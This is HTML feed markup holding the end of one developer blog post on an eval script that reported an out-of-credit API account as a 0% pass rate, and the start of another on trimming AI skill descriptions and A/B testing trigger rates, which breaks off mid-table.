&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;ERROR:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Anthropic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;API&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"invalid_request_error"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Your credit balance is too low to access the Anthropic API..."&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Zero successful API calls. Total spend: US$0.0000.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An empty wallet, rendered as "none of these 24 tools trigger any more."&lt;/p&gt;

&lt;p&gt;The root cause is one line. The per-case runner looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;evalCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;systemPrompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;skillName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;pass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`ERROR: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;   &lt;span class="c1"&gt;// ← here&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Any&lt;/strong&gt; exception is recorded as &lt;code&gt;pass: false&lt;/code&gt;. Network down, expired key, empty account, a bug in my own code — all of it becomes "this skill did not pass."&lt;/p&gt;

&lt;p&gt;And the harder half to notice: &lt;strong&gt;that &lt;code&gt;pass=0/96&lt;/code&gt; line was already printing in the round &lt;em&gt;before&lt;/em&gt; my changes.&lt;/strong&gt; The false red light had been there a long time. Nobody read it — it's advisory (doesn't block the push), so every audit round printed one line and every round skipped past it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The fix: "couldn't measure" needs its own box
&lt;/h2&gt;

&lt;p&gt;My system already had a convention: a check result is &lt;strong&gt;three states, not two&lt;/strong&gt; —&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🟢 I looked, it's clean&lt;/li&gt;
&lt;li&gt;🛑 I looked, I found something&lt;/li&gt;
&lt;li&gt;⚠️ &lt;strong&gt;I was unable to look&lt;/strong&gt; (blind)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Blind means "&lt;strong&gt;this round's green light doesn't count&lt;/strong&gt;", not "there's a problem." I'd written that convention into six sentinel scripts. &lt;strong&gt;This eval didn't implement it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three changes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Classify each exception as "infrastructure is down" vs "the skill genuinely didn't trigger." Credit / key / rate limit / overload / DNS / network → &lt;strong&gt;blind&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Blind cases &lt;strong&gt;don't enter the denominator&lt;/strong&gt;. All-blind → print a blind banner and exit code 2, &lt;strong&gt;print no pass rate at all&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The per-case &lt;code&gt;✗ passed 0/3&lt;/code&gt; detail doesn't print for blind cases either — that display &lt;em&gt;is&lt;/em&gt; the false red light.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Both directions have to be blocked; blocking one just swaps a false red for a false green.&lt;/strong&gt; I added reverse tests: "the model answered but didn't trigger" and "my own JSON parsing broke" must &lt;strong&gt;not&lt;/strong&gt; be classified as blind — otherwise a real failure gets laundered into "we didn't measure it," which is worse than a false red.&lt;/p&gt;

&lt;p&gt;Eleven self-tests pass, three of them "prove it starts red" (using the day's real error text as fixtures, not strings I made up — strings I make up get contaminated by my own imagination).&lt;/p&gt;

&lt;p&gt;End to end, verified against the day's real failure condition: before the fix, &lt;code&gt;0/96 (0%)&lt;/code&gt; plus 24 ❌; after, a blind banner and the actual reason — and those two lines of fake numbers vanished from the audit output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hole #2: a gate that had structurally never judged anything
&lt;/h2&gt;

&lt;p&gt;After topping up the account, I ran it again. This time it worked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;│   TOTAL                                       │ 90/96 (94%) │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 24 passed (six at 3/4, the rest 4/4). &lt;strong&gt;That is the evidence I wanted.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Then the same script printed, below the table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;⚠️ Blind: the eval runner produced output but no n/m results could be parsed — not counted as a pass.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It printed a beautiful table, and then said it couldn't read the results.&lt;/p&gt;

&lt;p&gt;Here's why. The outer script — the one that decides pass/fail — called the inner scorer with &lt;code&gt;execFileSync&lt;/code&gt;, then used a regex to scrape lines like &lt;code&gt;Testing &amp;lt;name&amp;gt;... 3/4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Those lines are written to stderr. And &lt;code&gt;execFileSync&lt;/code&gt; returns only stdout when the child succeeds.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On top of that, the scorer's last line is &lt;code&gt;process.exit(0)&lt;/code&gt;, with the comment "Advisory: always exit 0" — &lt;strong&gt;it always succeeds&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Put those together:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This gate could not read a result on any run where the scoring succeeded.&lt;/strong&gt;&lt;br&gt;
The only "pass" it ever reported was the empty run — "no skills changed this time" — which exits in 287 milliseconds.&lt;br&gt;
&lt;strong&gt;It had never once actually judged pass or fail.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is more insidious than the first hole. The first gives you a wrong answer. The second &lt;strong&gt;never gives an answer at all&lt;/strong&gt;, but because it reports "blind" rather than "failed," it looks like an honest gatekeeper.&lt;/p&gt;

&lt;p&gt;Fix: switch to &lt;code&gt;spawnSync&lt;/code&gt; and take both pipes — stdout is the JSON the machine reads (the single source for the verdict), stderr is the table the human reads. And write the real lesson into the comment:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"The success path and the failure path receive different information" is itself the reason this script was blind.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The old code did &lt;code&gt;out = stdout + stderr&lt;/code&gt; on failure (both pipes) and &lt;code&gt;out = stdout&lt;/code&gt; on success (one pipe short). Every test had been written against the failure scenario, so it looked correct forever.&lt;/p&gt;




&lt;h2&gt;
  
  
  Both holes are the same disease
&lt;/h2&gt;

&lt;p&gt;Side by side:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Where the hole is&lt;/th&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;How you misread it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;#1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;infrastructure error → &lt;code&gt;pass: false&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;prints 0% pass rate&lt;/td&gt;
&lt;td&gt;"I broke it" → &lt;strong&gt;roll back a correct change&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;#2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;result lives in the pipe the success path doesn't read&lt;/td&gt;
&lt;td&gt;permanently blind&lt;/td&gt;
&lt;td&gt;"at least it's honest" → &lt;strong&gt;believe you have a gatekeeper when you don't&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The shared shape: &lt;strong&gt;"couldn't measure" and "measured, it's broken" are encoded as the same thing — or encoded as a thing that can never happen.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I've written before about what a green light actually proves. These two are the other half of that family: &lt;strong&gt;red lights and blind states deserve the same suspicion.&lt;/strong&gt; A check reporting 0% and a check reporting 100% both need you to ask "what did it actually see?"&lt;/p&gt;

&lt;p&gt;I've also written about tools' output not being the world's facts. This post is the concrete case: &lt;code&gt;0/96&lt;/code&gt; is the tool's output. The world's fact was my credit card balance.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five things you can take away
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Ask the question.&lt;/strong&gt; For every script that prints a score: "if the infrastructure is down, what do you print?" If the answer is a score, fix it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Three states, not two.&lt;/strong&gt; 🟢 clean / 🛑 found something / ⚠️ &lt;strong&gt;unable to look&lt;/strong&gt;. The third state needs its own exit code, must not occupy the denominator, and must not print a pass rate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Block both directions.&lt;/strong&gt; Infrastructure error → blind; but a genuine failure must not be laundered into "didn't measure." Doing only the first swaps a false red for a false green, which is worse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Take your fixtures from what the target system actually emits.&lt;/strong&gt; My self-tests use the day's real error text. If I'd written my own "simulated insufficient credit" string, it would have matched my regex perfectly — both came out of the same head — and that test would be a mirror, not a test.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Chase state changes.&lt;/strong&gt; pass→blind, fast→slow, warnings 9→10. The thread I pulled on this whole thing was noticing one check took 100 seconds — when the previous round it took 287 milliseconds.&lt;/p&gt;

&lt;p&gt;The same disease shows up outside evals. In a retrieval benchmark I ran a week later, the report printed a median score and I let it answer a question that medians structurally cannot answer — write-up here: &lt;a href="https://dev.to/content/rag-two-knobs-no-gain-en"&gt;I turned both knobs on my on-prem Chinese RAG all the way up&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Postscript: the number
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;90/96 (94%). All 24 trimmed tool descriptions cleared the behavioral threshold.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;288 API calls, US$0.30.&lt;/p&gt;

&lt;p&gt;I'd estimated "about US$0.02" — off by an order of magnitude, because I estimated "tokens per question" in my head and never counted cache writes and hits (2.54 million cache-hit tokens, as it turned out). Which is this post's theme again: &lt;strong&gt;the number you estimate and the number you measure are two different things.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/zero-of-ninetysix-was-an-empty-wallet-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-zero-of-ninetysix-was-an-empty-wallet-en" rel="noopener noreferrer"&gt;My test report printed "0/96, 0% pass rate". The truth was my account was out of credit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>I cut 41 AI tools' self-descriptions in half, then A/B tested that trigger rate didn't drop</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Fri, 28 Aug 2026 13:05:15 +0000</pubDate>
      <link>https://dev.to/dexterlung/i-cut-41-ai-tools-self-descriptions-in-half-then-ab-tested-that-trigger-rate-didnt-drop-54k4</link>
      <guid>https://dev.to/dexterlung/i-cut-41-ai-tools-self-descriptions-in-half-then-ab-tested-that-trigger-rate-didnt-drop-54k4</guid>
      <description>&lt;h2&gt;
  
  
  The result first
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Before (long descriptions)&lt;/th&gt;
&lt;th&gt;After (≤250 chars each)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Behavioral tests passed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88/96 (92%)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;90/96 (94%)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total chars across all skill descriptions&lt;/td&gt;
&lt;td&gt;44,775 (114 skills)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;34,375 (116 skills)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Two more tools, 10,400 fewer characters. And the trigger rate didn't drop.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;(±2 cases at this sample size is noise, so I am &lt;strong&gt;not&lt;/strong&gt; claiming it got better. What I can claim: cut 40% of the characters, no systematic decline.)&lt;/p&gt;

&lt;p&gt;If you already have dozens of AI tools installed, the first half of this is worth reading — because some of yours may &lt;strong&gt;not be loaded at all right now&lt;/strong&gt;, and nothing will tell you.&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup: a failure with no error message
&lt;/h2&gt;

&lt;p&gt;Claude Code's skill mechanism works like this. Each skill is a folder with a &lt;code&gt;SKILL.md&lt;/code&gt;, and the file opens with frontmatter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;atomic-db-operations&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Use when writing a DB RPC that touches stock/balance/order state...&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;At session start, every skill's &lt;code&gt;name&lt;/code&gt; + &lt;code&gt;description&lt;/code&gt; gets packed into the model's system prompt.&lt;/strong&gt; That listing is the &lt;em&gt;only&lt;/em&gt; way it knows what tools it has. It can't see your folders. It can't read the files. It sees the list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And that listing has a character budget.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you exceed it, something very specific happens: &lt;strong&gt;the &lt;code&gt;description&lt;/code&gt; is dropped and the &lt;code&gt;name&lt;/code&gt; is kept.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So that skill:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;is still on the list, and &lt;code&gt;/skill-name&lt;/code&gt; still invokes it manually ✅&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;but it will never surface on its own again&lt;/strong&gt; ❌ — the model sees a name and has no idea what it does or when to reach for it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;No error. No warning. It just quietly stops showing up.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'd written before about a related blind spot — tools that never got loaded at all because of the load path. This is the second layer of the same problem: &lt;strong&gt;the thing loaded, but its self-introduction was thrown away in transit.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  How big is the budget?
&lt;/h3&gt;

&lt;p&gt;I decompiled the local binary to check, because the community blog posts saying otherwise were second-hand and wrong. The actual rule:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Budget = &lt;strong&gt;1% of the context window&lt;/strong&gt; (a setting called &lt;code&gt;skillListingBudgetFraction&lt;/code&gt;, default &lt;code&gt;0.01&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A 200K-token window ≈ &lt;strong&gt;8,000 characters&lt;/strong&gt;; a 1M window ≈ 40,000&lt;/li&gt;
&lt;li&gt;There's also a per-skill cap (&lt;code&gt;skillListingMaxDescChars&lt;/code&gt;, default 1536)&lt;/li&gt;
&lt;li&gt;The env var &lt;code&gt;SLASH_COMMAND_TOOL_CHAR_BUDGET&lt;/code&gt; overrides the whole calculation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What I measured at the time: 89 project skills ≈ 22,700 chars + 23 global skills ≈ 11,700 = &lt;strong&gt;about 34,400 characters&lt;/strong&gt;, against a default budget of 8,000.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The way to see it is blunt&lt;/strong&gt;: in my available-skills listing, roughly 70 entries were name-only.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this gets worse on its own
&lt;/h3&gt;

&lt;p&gt;The docs spell out the eviction order: &lt;strong&gt;"starting with your least-used skills."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That reads as reasonable — keep the popular ones. It's actually a death spiral:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;never used → description evicted → model can't see it → used even less → evicted first again
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I'd separately measured my toolbox's usage rate: &lt;strong&gt;79 of 89 had never been explicitly invoked.&lt;/strong&gt; I wrote that up as its own post at the time. Looking back, that number was &lt;strong&gt;contaminated by two things at once&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;genuinely not useful&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;budget overflow, so the model was never told it existed&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Until you fix the second, the first number can't justify retiring anything.&lt;/strong&gt; That's the mistake I nearly made — I was about to delete a batch of skills based on the "zero usage" list.&lt;/p&gt;




&lt;h2&gt;
  
  
  The decision: trim, don't cut
&lt;/h2&gt;

&lt;p&gt;First I raised the budget (set that env var to 45000, in two config files), and verified end to end: opened a headless sub-session and forced it to quote verbatim the description of a skill that had been name-only. It quoted it, and the words matched the file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two weeks later the budget was full again&lt;/strong&gt; (skills kept accumulating). This time 8 were stripped to names.&lt;/p&gt;

&lt;p&gt;So the question became: &lt;strong&gt;cut tools, or trim descriptions?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I did the arithmetic. Squeezing every description under 250 characters saves 8,058 characters. Deleting all 51 "tier C" skills (the least-used batch) saves 11,295.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trimming recovers nearly as much as deleting half the toolbox — and retires nothing.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's why I trimmed. Not aesthetics. Arithmetic.&lt;/p&gt;




&lt;h2&gt;
  
  
  The hard part: how do I know I didn't cut a trigger word
&lt;/h2&gt;

&lt;p&gt;This is the real technical risk.&lt;/p&gt;

&lt;p&gt;That &lt;code&gt;description&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; the basis on which the model decides whether to invoke the skill. Cut a trigger word and it silently stops firing in that situation — &lt;strong&gt;and you won't know&lt;/strong&gt;. No error. It just never appears.&lt;/p&gt;

&lt;p&gt;My first approach was "delete the redundant-feeling parts." The problem with that approach: &lt;strong&gt;I had no way to prove to myself that I hadn't cut something load-bearing.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So I changed to three steps.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: only trim three categories, touch nothing else
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The same sentence written twice in two languages&lt;/strong&gt; (e.g. a Chinese phrase followed by &lt;code&gt;adding/renaming a field across write→middleware→render&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;e.g. enumerations&lt;/strong&gt; (&lt;code&gt;handleUpload + handleBatchUpload + handleDragDrop + handleUrlInput&lt;/code&gt; → keep three)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restatements of the SKILL.md body&lt;/strong&gt; (the description doesn't need to re-explain what the five steps are; those words are in the file)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Trigger words — identifiers, symptom phrases, SKIP routing to other skills — untouched.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: mechanical reconciliation, not self-report
&lt;/h3&gt;

&lt;p&gt;After trimming, run a script: split the old and new versions each into two sets — "ASCII identifiers" and "natural-language fragments" — then print &lt;strong&gt;every token present in the old and absent in the new&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The point of this step isn't automation. It's &lt;strong&gt;turning "did I cut a trigger word?" from an internal state only I can see into a list lying on the table.&lt;/strong&gt; I can't reassure myself past a list.&lt;/p&gt;

&lt;p&gt;Result: &lt;strong&gt;all 24&lt;/strong&gt; had token loss. Reading through, most were function words (the, and, that, use, when) and things I'd judged as restatement — but &lt;strong&gt;8 had genuinely lost trigger words&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;label map&lt;/code&gt;, &lt;code&gt;trigger&lt;/code&gt; (two of four load-bearing positions in one rule)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;isInQuietHours&lt;/code&gt;, &lt;code&gt;deferred:true&lt;/code&gt; (code-level signals — anyone reading or writing these symbols should trigger this skill)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;line-auth&lt;/code&gt; (the name of an Edge Function)&lt;/li&gt;
&lt;li&gt;a natural phrasing for "change the unit price" — I'd kept only the identifier &lt;code&gt;single_price&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;a full sentence a client actually says: "I uploaded the images, please place them for me"&lt;/li&gt;
&lt;li&gt;two SKIP routes pointing at other skills&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;All restored.&lt;/strong&gt; Without that list I would not have caught a single one of the eight.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: two stale claims fell out for free
&lt;/h3&gt;

&lt;p&gt;Reconciliation forces you to read the old version word by word, so I picked up two errors unrelated to trimming:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;one description said "three-part report" while its own SKILL.md and my rules file both say &lt;strong&gt;four-part&lt;/strong&gt; (the "three" referred to three markers inside part 3, misread as the whole report's structure)&lt;/li&gt;
&lt;li&gt;another described the precedence of a fallback mechanism that &lt;strong&gt;had been removed in a database migration months earlier&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Reading word by word catches these. Skimming doesn't.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Then I needed behavioral evidence
&lt;/h2&gt;

&lt;p&gt;At this point I had two pieces of evidence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;every removed token reviewed line by line (mechanical, but &lt;strong&gt;indirect&lt;/strong&gt; — it proves the words are still there, not that the skill still fires)&lt;/li&gt;
&lt;li&gt;after a system-prompt reload, all 24 new descriptions appeared verbatim (proves &lt;em&gt;delivery&lt;/em&gt;, not trigger rate)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Neither is behavioral evidence.&lt;/strong&gt; And I happened to have a question bank: 4 test cases per skill (should-trigger, strict variant, should-not-trigger, boundary), 96 total — run against a cheap model, three votes per case, majority wins.&lt;/p&gt;

&lt;p&gt;(An aside: my handoff doc claimed "most of these 24 have no test cases." That sentence was wrong; all 24 had them. How I caught that wrong sentence is a story of its own, and I wrote it up separately: &lt;a href="https://coffeeshooters.com/content/zero-of-ninetysix-was-an-empty-wallet-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-zero-of-ninetysix-was-an-empty-wallet-en" rel="noopener noreferrer"&gt;my test report printed "0/96, 0% pass rate" — the truth was my account was out of credit&lt;/a&gt;.)&lt;/p&gt;

&lt;h3&gt;
  
  
  Why "94% after" isn't evidence
&lt;/h3&gt;

&lt;p&gt;The run came back 90/96 (94%). Looks fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But it can't answer the question I'm asking.&lt;/strong&gt; The question is "&lt;strong&gt;did it drop?&lt;/strong&gt;", and 94% is an absolute number — I have no "before" to compare it to.&lt;/p&gt;

&lt;p&gt;So I opened a working copy of the old version (&lt;code&gt;git worktree&lt;/code&gt; pointed at the pre-trim commit) and ran &lt;strong&gt;the same question bank, the same model, the same day, the same machine&lt;/strong&gt;. The only difference was the length of those 24 descriptions.&lt;/p&gt;

&lt;p&gt;288 API calls per arm, about US$0.32 each.&lt;/p&gt;




&lt;h2&gt;
  
  
  A/B result
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Passed / total&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88/96 (92%)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;90/96 (94%)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Only 4 skills moved at all, each by exactly one case:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;skill&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;th&gt;Char change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;blog-content-block-contract&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3/4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;4/4&lt;/strong&gt; ↑&lt;/td&gt;
&lt;td&gt;460 → 239&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;breakpoint-taxonomy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2/4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;3/4&lt;/strong&gt; ↑&lt;/td&gt;
&lt;td&gt;480 → 246&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cross-layer-drift-rootcause&lt;/code&gt;&lt;/td&gt;
